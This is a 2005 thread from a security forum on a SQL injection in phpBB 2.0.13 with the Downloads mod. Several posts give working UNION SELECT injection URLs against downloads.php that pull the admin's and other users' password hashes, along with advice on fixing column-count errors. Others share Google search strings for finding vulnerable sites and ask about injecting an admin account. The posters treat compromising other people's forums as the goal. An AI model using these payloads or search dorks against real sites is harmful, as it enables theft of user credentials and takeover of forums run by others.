Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
December 11, 2019
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 252
Members: 1
Total: 253

Online Now:
01: kolaz - Homepage
PacketStorm News
Currently there is a problem with headlines from this site
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> PhpBB 2.0.13+Downloads Mod Exploit! Goto page 1, 2  Next
Post new topic  Reply to topic View previous topic :: View next topic 
PhpBB 2.0.13+Downloads Mod Exploit!
PostPosted: Sat Apr 02, 2005 8:02 pm Reply with quote
murdock
Advanced user
Advanced user
 
Joined: Mar 16, 2005
Posts: 54




Yes!!!! Laughing

New SQL injection discovered for phpbb 2.0.13, found by Cerebrums (It's the man who posted the exploit in milw0rm's page, I don't know if it has discovered the bug).
BUT it ONLY works with phpbb forums with the "downloads" mod enabled Sad

There's a perl script to exploit it:
http://www.milw0rm.com/id.php?id=907

Nice exploit, but when tries to fetch the hash from the page sometimes fails, so I prefer to simply paste the injection url in the browser:

Code:

http://[target]/[phpbb_folder]/downloads.php?cat=-1%20UNION%20SELECT%200,user_password,0,0,0,0,0,0,0%20FROM%20phpbb_users%20WHERE%20user_id=2/*


This one give's the admin password hash, simply change the "user_id=" number to get the hash of another user.

Salut!
View user's profile Send private message
Re: PhpBB 2.0.13+Downloads Mod Exploit!
PostPosted: Sat Apr 02, 2005 10:08 pm Reply with quote
LINUX
Moderator
Moderator
 
Joined: May 24, 2004
Posts: 404
Location: Caiman




murdock wrote:
Yes!!!! Laughing

New SQL injection discovered for phpbb 2.0.13, found by Cerebrums (It's the man who posted the exploit in milw0rm's page, I don't know if it has discovered the bug).
BUT it ONLY works with phpbb forums with the "downloads" mod enabled Sad

There's a perl script to exploit it:
http://www.milw0rm.com/id.php?id=907

Nice exploit, but when tries to fetch the hash from the page sometimes fails, so I prefer to simply paste the injection url in the browser:

Code:

http://[target]/[phpbb_folder]/downloads.php?cat=-1%20UNION%20SELECT%200,user_password,0,0,0,0,0,0,0%20FROM%20phpbb_users%20WHERE%20user_id=2/*


This one give's the admin password hash, simply change the "user_id=" number to get the hash of another user.

Salut!


second public exploit for 0.13 3 - xpl for exec cmd
View user's profile Send private message Visit poster's website
PostPosted: Sun Apr 03, 2005 2:42 am Reply with quote
murdock
Advanced user
Advanced user
 
Joined: Mar 16, 2005
Posts: 54




xpl for exec cmd? Question Question Question
View user's profile Send private message
PostPosted: Mon Apr 04, 2005 11:25 am Reply with quote
shai-tan
Valuable expert
Valuable expert
 
Joined: Feb 22, 2005
Posts: 477




Quote:
I think what meant to say was:
second public exploit for 0.13 3 - xpl for exec cmd


I think what meant to say was:
second public exploit for 2.0.13 3 - exploit for execution command

He is also Implying that there are some only a selected few know. They just arn't nice enough to alert phpbb.com.

Not that it matters because someone will be viewing this post from there sometime soon. They can't view private messages or emails though.....*hint*........

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Mon Apr 04, 2005 1:02 pm Reply with quote
KingOfSka
Advanced user
Advanced user
 
Joined: Mar 13, 2005
Posts: 61




wouldn't it be possible to use this exploit to add an admin account to the sql database ? i'm reading some tuts about UNION but i'm pretty noob with sql Embarassed
View user's profile Send private message Visit poster's website
PostPosted: Mon Apr 04, 2005 4:07 pm Reply with quote
murdock
Advanced user
Advanced user
 
Joined: Mar 16, 2005
Posts: 54




Yes, I know what it means, my question was: It exists this exploit? Wink
View user's profile Send private message
It works
PostPosted: Tue Apr 05, 2005 9:59 am Reply with quote
ToXiC
Moderator
Moderator
 
Joined: Dec 01, 2004
Posts: 181
Location: Cyprus




google it :


search in google

Quote:
inurl:downloads.php phpbb Forum -> Downloads - Categories


some search strings banned from google because oof the sandy worm

The Santy worm uses a flaw in the widely used community forum software known as the PHP Bulletin Board (phpBB) to spread, according to updated analyses. The worm searches Google for sites using a vulnerable version of the software, antivirus firm Kaspersky said in a statement.


so you have think about a different way to search in google to find what you want


ToXiC

i.came.to.bring.the.pain.hardcore.chemical.
View user's profile Send private message Visit poster's website MSN Messenger
PostPosted: Tue Apr 05, 2005 10:51 am Reply with quote
y3dips
Valuable expert
Valuable expert
 
Joined: Feb 25, 2005
Posts: 281
Location: Indonesia




download.php ? is this only in 2.0.13?

hum, but why phpbb offical site dont make some publication about this vuln ?

anyway , is there anyone succeded to do some Proof of concept

/me not ready using 2.0.13, even my forum still using 2.0.12 with patch

_________________
IO::y3dips->new(http://clog.ammar.web.id);
View user's profile Send private message Visit poster's website Yahoo Messenger
PostPosted: Tue Apr 05, 2005 2:26 pm Reply with quote
wyk
Regular user
Regular user
 
Joined: Mar 15, 2005
Posts: 10




i've run into a forum that had download.php active but the exploit did not work, here's what i've done:
Code:
http://[site-u]/[phpBB folder]/downloads.php?cat=-1%20UNION%20SELECT%200,user_password,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20phpbb_users%20WHERE%20user_id=2/*


best regards.
View user's profile Send private message Visit poster's website
PostPosted: Wed Apr 06, 2005 11:21 am Reply with quote
shai-tan
Valuable expert
Valuable expert
 
Joined: Feb 22, 2005
Posts: 477




Quote:
i've run into a forum that had download.php active but the exploit did not work, here's what i've done:
Code:
http://[site-u]/[phpBB folder]/downloads.php?cat=-1%20UNION%20SELECT%200,user_password,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20phpbb_users%20WHERE%20user_id=2/*


best regards.


Im just guessing here this is based on my experince with proof of concepts ,if that one you just gave us is in fact a proof of concept:

You may have to move the nulls around mabye something like this:
http://[site-u]/[phpBB folder]/downloads.php?cat=-1%20UNION%20SELECT%200,NULL,NULL,NULL,
NULL,user_password,NULL,NULL,NULL,NULL%20FROM%20phpbb_users%20
WHERE%20user_id=2 LIMIT 1/*

and add LIMIT 1 just to see what happens

Try changing around the nulls on either side of the user_password part. Just see what happens. You may not need the LIMIT 1 part either.

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Wed Apr 06, 2005 1:05 pm Reply with quote
waraxe
Site admin
Site admin
 
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




wyk wrote:
i've run into a forum that had download.php active but the exploit did not work, here's what i've done:
Code:
http://[site-u]/[phpBB folder]/downloads.php?cat=-1%20UNION%20SELECT%200,user_password,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL%20FROM%20phpbb_users%20WHERE%20user_id=2/*


best regards.


Can you see any error messages from mysql/php side?
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Wed Apr 06, 2005 2:41 pm Reply with quote
wyk
Regular user
Regular user
 
Joined: Mar 15, 2005
Posts: 10




waraxe: yes there was a error about number of colums, i guessed that the user table had an additional column(don't know about what).

shai-tan: i'm afraid you're not right, each null stands for some specific column, moving 4 null's before user_password will break everything, and you won't get any hash, or anything else that is good. still i'll do some testing and will tell the results.

--------------(some time later)
shai-tan led me to the idea of changing the user_password for some else column name. i'm sure some of you already did it, but for those who didn't i can tell that it simplifies a litle bit the problem:
you don't have to register into forum, to find out the user names and rights you can change the user_password for username and you know the username, or for user_level to know if you shold bother breaking the hash.
View user's profile Send private message Visit poster's website
PostPosted: Fri Apr 08, 2005 12:26 pm Reply with quote
shai-tan
Valuable expert
Valuable expert
 
Joined: Feb 22, 2005
Posts: 477




WOW thats a first. Ive been used for inspiration. Theres some hope for me yet. Shocked

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Sun Nov 20, 2005 10:28 pm Reply with quote
VanVip
Beginner
Beginner
 
Joined: Nov 21, 2005
Posts: 4




and how can i get it from xxx.xxxxxxxxxxxxxxxx.xxx, that the "page index" is the forum?..


sorry for my english, i speak spanish




[edit by Shai-tan. Reason: no URL's allowed use "x" for each character]
View user's profile Send private message
PostPosted: Mon Nov 21, 2005 1:10 am Reply with quote
shai-tan
Valuable expert
Valuable expert
 
Joined: Feb 22, 2005
Posts: 477




Please read the forum rules.

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PhpBB 2.0.13+Downloads Mod Exploit!
  www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 2  
Goto page 1, 2  Next
  
  
 Post new topic  Reply to topic  




Powered by phpBB 2001-2008 phpBB Group






Film DVD comments and reviews
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2013 Janek Vind "waraxe"
Page Generation: 0.068 Seconds